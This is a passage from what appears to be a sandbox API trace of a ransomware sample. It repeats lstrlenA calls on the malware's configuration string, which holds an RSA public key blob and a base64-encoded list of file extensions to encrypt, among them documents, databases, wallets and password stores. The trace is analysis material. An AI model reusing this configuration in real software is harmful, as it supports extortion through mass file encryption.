ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN